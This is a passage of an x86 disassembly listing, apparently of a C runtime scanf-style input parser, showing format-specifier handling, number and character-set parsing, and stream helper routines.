		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41E224
		pop	ecx
		jmp	short loc_41D97D
; ---------------------------------------------------------------------------


loc_41D972:				; CODE XREF: sub_41D797+1C5j
					; sub_41D797+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3


loc_41D97D:				; CODE XREF: sub_41D797+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_41D981:				; CODE XREF: sub_41D797+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_41D991
		cmp	[ebp+var_C], eax
		jz	loc_41E16D


loc_41D991:				; CODE XREF: sub_41D797+1EFj
		cmp	esi, 6Fh
		jg	loc_41DBF8
		jz	loc_41DEAA
		cmp	esi, 63h
		jz	loc_41DBD5
		cmp	esi, 64h
		jz	loc_41DEAA
		jle	loc_41DC22
		cmp	esi, 67h
		jle	short loc_41D9F5
		cmp	esi, 69h
		jz	short loc_41D9DD
		cmp	esi, 6Eh
		jnz	loc_41DC22
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_41E0D8
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41D9DD:				; CODE XREF: sub_41D797+229j
		push	64h
		pop	esi


loc_41D9E0:				; CODE XREF: sub_41D797+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_41DC6A
		mov	[ebp+var_17], 1
		jmp	loc_41DC6F
; ---------------------------------------------------------------------------


loc_41D9F5:				; CODE XREF: sub_41D797+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_41DA11
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_41DA16
; ---------------------------------------------------------------------------


loc_41DA11:				; CODE XREF: sub_41D797+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DA2D


loc_41DA16:				; CODE XREF: sub_41D797+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA30
; ---------------------------------------------------------------------------


loc_41DA2D:				; CODE XREF: sub_41D797+27Dj
		mov	edi, [ebp+arg_0]


loc_41DA30:				; CODE XREF: sub_41D797+294j
		cmp	[ebp+var_20], 0
		jz	short loc_41DA3F
		cmp	[ebp+var_C], 15Dh
		jle	short loc_41DA46


loc_41DA3F:				; CODE XREF: sub_41D797+29Dj
		mov	[ebp+var_C], 15Dh


loc_41DA46:				; CODE XREF: sub_41D797+2A6j
					; sub_41D797+2F2j
		cmp	dword_4397AC, 1
		jle	short loc_41DA5B
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DA66
; ---------------------------------------------------------------------------


loc_41DA5B:				; CODE XREF: sub_41D797+2B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DA66:				; CODE XREF: sub_41D797+2C2j
		test	eax, eax
		jz	short loc_41DA8B
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DA8B
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DA46
; ---------------------------------------------------------------------------


loc_41DA8B:				; CODE XREF: sub_41D797+2D1j
					; sub_41D797+2DBj
		cmp	byte_4397B0, bl
		jnz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		mov	al, byte_4397B0
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_41DAB4:				; CODE XREF: sub_41D797+360j
		cmp	dword_4397AC, 1
		jle	short loc_41DAC9
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DAD4
; ---------------------------------------------------------------------------


loc_41DAC9:				; CODE XREF: sub_41D797+324j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DAD4:				; CODE XREF: sub_41D797+330j
		test	eax, eax
		jz	short loc_41DAF9
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DAF9
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DAB4
; ---------------------------------------------------------------------------


loc_41DAF9:				; CODE XREF: sub_41D797+2FAj
					; sub_41D797+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_41DB91
		cmp	ebx, 65h
		jz	short loc_41DB11
		cmp	ebx, 45h
		jnz	loc_41DB91


loc_41DB11:				; CODE XREF: sub_41D797+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_41DB38
		mov	[esi], al
		inc	esi
		jmp	short loc_41DB3D
; ---------------------------------------------------------------------------


loc_41DB38:				; CODE XREF: sub_41D797+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_41DB5B


loc_41DB3D:				; CODE XREF: sub_41D797+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_41DB4C
		and	[ebp+var_C], eax
		jmp	short loc_41DB5B
; ---------------------------------------------------------------------------


loc_41DB4C:				; CODE XREF: sub_41D797+3AEj
					; sub_41D797+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DB5B:				; CODE XREF: sub_41D797+3A4j
					; sub_41D797+3B3j
		cmp	dword_4397AC, 1
		jle	short loc_41DB70
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DB7B
; ---------------------------------------------------------------------------


loc_41DB70:				; CODE XREF: sub_41D797+3CBj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DB7B:				; CODE XREF: sub_41D797+3D7j
		test	eax, eax
		jz	short loc_41DB91
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_41DB91
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_41DB4C
; ---------------------------------------------------------------------------


loc_41DB91:				; CODE XREF: sub_41D797+366j
					; sub_41D797+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43B908
		add	esp, 0Ch
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DBD5:				; CODE XREF: sub_41D797+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_41DBE4
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_41DBE4:				; CODE XREF: sub_41D797+441j
		cmp	[ebp+var_5], 0
		jle	short loc_41DBEE
		mov	[ebp+var_16], 1


loc_41DBEE:				; CODE XREF: sub_41D797+451j
		mov	edi, offset dword_43B930
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DBF8:				; CODE XREF: sub_41D797+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_41DEA6
		sub	eax, 3
		jz	loc_41DCF4
		dec	eax
		dec	eax
		jz	loc_41DEAA
		sub	eax, 3
		jz	loc_41D9E0
		sub	eax, 3
		jz	short loc_41DC46


loc_41DC22:				; CODE XREF: sub_41D797+21Bj
					; sub_41D797+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_41E16D
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DC46:				; CODE XREF: sub_41D797+489j
		cmp	[ebp+var_5], 0
		jle	short loc_41DC50
		mov	[ebp+var_16], 1


loc_41DC50:				; CODE XREF: sub_41D797+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_41DD07
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_41DD03
; ---------------------------------------------------------------------------


loc_41DC6A:				; CODE XREF: sub_41D797+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_41DC91


loc_41DC6F:				; CODE XREF: sub_41D797+259j
		dec	[ebp+var_C]
		jnz	short loc_41DC80
		cmp	[ebp+var_20], 0
		jz	short loc_41DC80
		mov	[ebp+var_F], 1
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC80:				; CODE XREF: sub_41D797+4DBj
					; sub_41D797+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41DC91:				; CODE XREF: sub_41D797+4D6j
					; sub_41D797+4E7j
		cmp	ebx, 30h
		jnz	loc_41DEDF
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_41DCDF
		cmp	bl, 58h
		jz	short loc_41DCDF
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_41DCC9
		push	6Fh


loc_41DCC3:				; CODE XREF: sub_41D797+55Bj
		pop	esi
		jmp	loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DCC9:				; CODE XREF: sub_41D797+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_41DEDC
; ---------------------------------------------------------------------------


loc_41DCDF:				; CODE XREF: sub_41D797+517j
					; sub_41D797+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_41DCC3
; ---------------------------------------------------------------------------


loc_41DCF4:				; CODE XREF: sub_41D797+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_41DCFE
		mov	[ebp+var_16], 1


loc_41DCFE:				; CODE XREF: sub_41D797+561j
		mov	edi, offset dword_43B928


loc_41DD03:				; CODE XREF: sub_41D797+45Cj
					; sub_41D797+4CEj
		or	[ebp+var_18], 0FFh


loc_41DD07:				; CODE XREF: sub_41D797+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DD2B
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_41DD2B
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD2B:				; CODE XREF: sub_41D797+584j
					; sub_41D797+589j
		mov	dl, [ebp+var_35]


loc_41DD2E:				; CODE XREF: sub_41D797+592j
					; sub_41D797+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_41DD93
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_41DD7A
		test	dl, dl
		jz	short loc_41DD7A
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_41DD7A
		inc	edi
		cmp	dl, cl
		jnb	short loc_41DD4D
		mov	al, cl
		jmp	short loc_41DD51
; ---------------------------------------------------------------------------


loc_41DD4D:				; CODE XREF: sub_41D797+5B0j
		mov	al, dl
		mov	dl, cl


loc_41DD51:				; CODE XREF: sub_41D797+5B4j
		cmp	dl, al
		ja	short loc_41DD76
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_41DD5E:				; CODE XREF: sub_41D797+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_41DD5E


loc_41DD76:				; CODE XREF: sub_41D797+5BCj
		xor	dl, dl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD7A:				; CODE XREF: sub_41D797+5A0j
					; sub_41D797+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_41DD2E
; ---------------------------------------------------------------------------


loc_41DD93:				; CODE XREF: sub_41D797+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_41E19D
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_41DDA5
		mov	[ebp+arg_4], edi


loc_41DDA5:				; CODE XREF: sub_41D797+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DDBC:				; CODE XREF: sub_41D797+6BCj
					; sub_41D797+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_41DDD0
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_41DE6C


loc_41DDD0:				; CODE XREF: sub_41D797+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_41DE60
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_41DE60
		cmp	[ebp+var_E], 0
		jnz	short loc_41DE58
		cmp	[ebp+var_16], 0
		jz	short loc_41DE4D
		mov	ecx, off_4395A0
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41DE2C
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		mov	[ebp+var_37], al


loc_41DE2C:				; CODE XREF: sub_41D797+686j
		push	dword_4397AC
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_420E98
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_41DE50
; ---------------------------------------------------------------------------


loc_41DE4D:				; CODE XREF: sub_41D797+673j
		mov	[esi], al
		inc	esi


loc_41DE50:				; CODE XREF: sub_41D797+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE58:				; CODE XREF: sub_41D797+66Dj
		inc	[ebp+var_30]
		jmp	loc_41DDBC
; ---------------------------------------------------------------------------


loc_41DE60:				; CODE XREF: sub_41D797+649j
					; sub_41D797+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DE6C:				; CODE XREF: sub_41D797+633j
		cmp	[ebp+var_30], esi
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	loc_41E0FE
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_41E0FE
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41DE9E
		and	word ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DE9E:				; CODE XREF: sub_41D797+6FCj
		and	byte ptr [eax],	0
		jmp	loc_41E0FE
; ---------------------------------------------------------------------------


loc_41DEA6:				; CODE XREF: sub_41D797+466j
		mov	[ebp+var_D], 1


loc_41DEAA:				; CODE XREF: sub_41D797+203j
					; sub_41D797+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_41DEB8
		mov	[ebp+var_17], 1
		jmp	short loc_41DEBD
; ---------------------------------------------------------------------------


loc_41DEB8:				; CODE XREF: sub_41D797+719j
		cmp	ebx, 2Bh
		jnz	short loc_41DEDF


loc_41DEBD:				; CODE XREF: sub_41D797+71Fj
		dec	[ebp+var_C]
		jnz	short loc_41DECE
		cmp	[ebp+var_20], 0
		jz	short loc_41DECE
		mov	[ebp+var_F], 1
		jmp	short loc_41DEDF
; ---------------------------------------------------------------------------


loc_41DECE:				; CODE XREF: sub_41D797+729j
					; sub_41D797+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		pop	ecx
		mov	ebx, eax


loc_41DEDC:				; CODE XREF: sub_41D797+543j
		mov	[ebp+var_14], ebx


loc_41DEDF:				; CODE XREF: sub_41D797+4FDj
					; sub_41D797+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_41DFF8
		cmp	[ebp+var_F], 0
		jnz	loc_41DFD6


loc_41DEF3:				; CODE XREF: sub_41D797+82Cj
		cmp	esi, 78h
		jnz	short loc_41DF47
		cmp	dword_4397AC, 1
		jle	short loc_41DF10
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF1D
; ---------------------------------------------------------------------------


loc_41DF10:				; CODE XREF: sub_41D797+768j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41DF1D:				; CODE XREF: sub_41D797+777j
		test	eax, eax
		jz	loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_420F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_41DF9A
; ---------------------------------------------------------------------------


loc_41DF47:				; CODE XREF: sub_41D797+75Fj
		cmp	dword_4397AC, 1
		jle	short loc_41DF5C
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41DF67
; ---------------------------------------------------------------------------


loc_41DF5C:				; CODE XREF: sub_41D797+7B7j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41DF67:				; CODE XREF: sub_41D797+7C3j
		test	eax, eax
		jz	short loc_41DFC8
		cmp	esi, 6Fh
		jnz	short loc_41DF85
		cmp	ebx, 38h
		jge	short loc_41DFC8
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_420F90
		jmp	short loc_41DF94
; ---------------------------------------------------------------------------


loc_41DF85:				; CODE XREF: sub_41D797+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_417760


loc_41DF94:				; CODE XREF: sub_41D797+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_41DF9A:				; CODE XREF: sub_41D797+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_41DFB2
		dec	[ebp+var_C]
		jz	short loc_41DFD6


loc_41DFB2:				; CODE XREF: sub_41D797+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41DEF3
; ---------------------------------------------------------------------------


loc_41DFC8:				; CODE XREF: sub_41D797+788j
					; sub_41D797+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41DFD6:				; CODE XREF: sub_41D797+756j
					; sub_41D797+819j
		cmp	[ebp+var_17], 0
		jz	loc_41E0BC
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_41E0BC
; ---------------------------------------------------------------------------


loc_41DFF8:				; CODE XREF: sub_41D797+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_41E0B4


loc_41E002:				; CODE XREF: sub_41D797+90Aj
		cmp	esi, 78h
		jz	short loc_41E046
		cmp	esi, 70h
		jz	short loc_41E046
		cmp	dword_4397AC, 1
		jle	short loc_41E021
		push	4
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E02C
; ---------------------------------------------------------------------------


loc_41E021:				; CODE XREF: sub_41D797+87Cj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_41E02C:				; CODE XREF: sub_41D797+888j
		test	eax, eax
		jz	short loc_41E0A6
		cmp	esi, 6Fh
		jnz	short loc_41E03F
		cmp	ebx, 38h
		jge	short loc_41E0A6
		shl	edi, 3
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E03F:				; CODE XREF: sub_41D797+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_41E07E
; ---------------------------------------------------------------------------


loc_41E046:				; CODE XREF: sub_41D797+86Ej
					; sub_41D797+873j
		cmp	dword_4397AC, 1
		jle	short loc_41E05E
		push	80h
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E06B
; ---------------------------------------------------------------------------


loc_41E05E:				; CODE XREF: sub_41D797+8B6j
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_41E06B:				; CODE XREF: sub_41D797+8C5j
		test	eax, eax
		jz	short loc_41E0A6
		push	ebx
		shl	edi, 4
		call	sub_41E1BC
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_41E07E:				; CODE XREF: sub_41D797+8A6j
					; sub_41D797+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_41E090
		dec	[ebp+var_C]
		jz	short loc_41E0B4


loc_41E090:				; CODE XREF: sub_41D797+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_41E002
; ---------------------------------------------------------------------------


loc_41E0A6:				; CODE XREF: sub_41D797+897j
					; sub_41D797+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_41E20D
		pop	ecx
		pop	ecx


loc_41E0B4:				; CODE XREF: sub_41D797+865j
					; sub_41D797+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_41E0BC
		neg	edi


loc_41E0BC:				; CODE XREF: sub_41D797+843j
					; sub_41D797+85Cj ...
		cmp	esi, 46h
		jnz	short loc_41E0C5
		and	[ebp+var_1C], 0


loc_41E0C5:				; CODE XREF: sub_41D797+928j
		cmp	[ebp+var_1C], 0
		jz	loc_41E19D
		cmp	[ebp+var_E], 0
		jnz	short loc_41E0FE
		inc	[ebp+var_34]


loc_41E0D8:				; CODE XREF: sub_41D797+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_41E0EE
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0EE:				; CODE XREF: sub_41D797+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_41E0FB
		mov	[eax], edi
		jmp	short loc_41E0FE
; ---------------------------------------------------------------------------


loc_41E0FB:				; CODE XREF: sub_41D797+95Ej
		mov	[eax], di


loc_41E0FE:				; CODE XREF: sub_41D797+241j
					; sub_41D797+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E14B
; ---------------------------------------------------------------------------


loc_41E109:				; CODE XREF: sub_41D797+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_41E178
		mov	ecx, off_4395A0
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E14B
		inc	[ebp+var_4]
		push	edi
		call	sub_41E1F3
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_41E186
		dec	[ebp+var_4]


loc_41E14B:				; CODE XREF: sub_41D797+970j
					; sub_41D797+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E161
		cmp	byte ptr [esi],	25h
		jnz	short loc_41E1A3
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_41E1A3
		mov	esi, eax


loc_41E161:				; CODE XREF: sub_41D797+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_41D7C1
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E16D:				; CODE XREF: sub_41D797+1F4j
					; sub_41D797+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_41E17D
; ---------------------------------------------------------------------------


loc_41E178:				; CODE XREF: sub_41D797+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_41E17D:				; CODE XREF: sub_41D797+9DFj
		call	sub_41E20D
		pop	ecx
		pop	ecx
		jmp	short loc_41E19D
; ---------------------------------------------------------------------------


loc_41E186:				; CODE XREF: sub_41D797+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_41E20D
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_41E20D
		add	esp, 10h


loc_41E19D:				; CODE XREF: sub_41D797+1Fj
					; sub_41D797+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_41E1B4


loc_41E1A3:				; CODE XREF: sub_41D797+9BDj
					; sub_41D797+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_41E1B7
		cmp	[ebp+var_15], al
		jnz	short loc_41E1B7
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E1B7
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41D797+A0Aj
		mov	eax, [ebp+var_34]


loc_41E1B7:				; CODE XREF: sub_41D797+A11j
					; sub_41D797+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D797	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1BC	proc near		; CODE XREF: sub_41D797+7A3p
					; sub_41D797+8DCp

arg_0		= dword	ptr  4

		cmp	dword_4397AC, 1
		push	esi
		jle	short loc_41E1D6
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41E1E5
; ---------------------------------------------------------------------------


loc_41E1D6:				; CODE XREF: sub_41E1BC+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


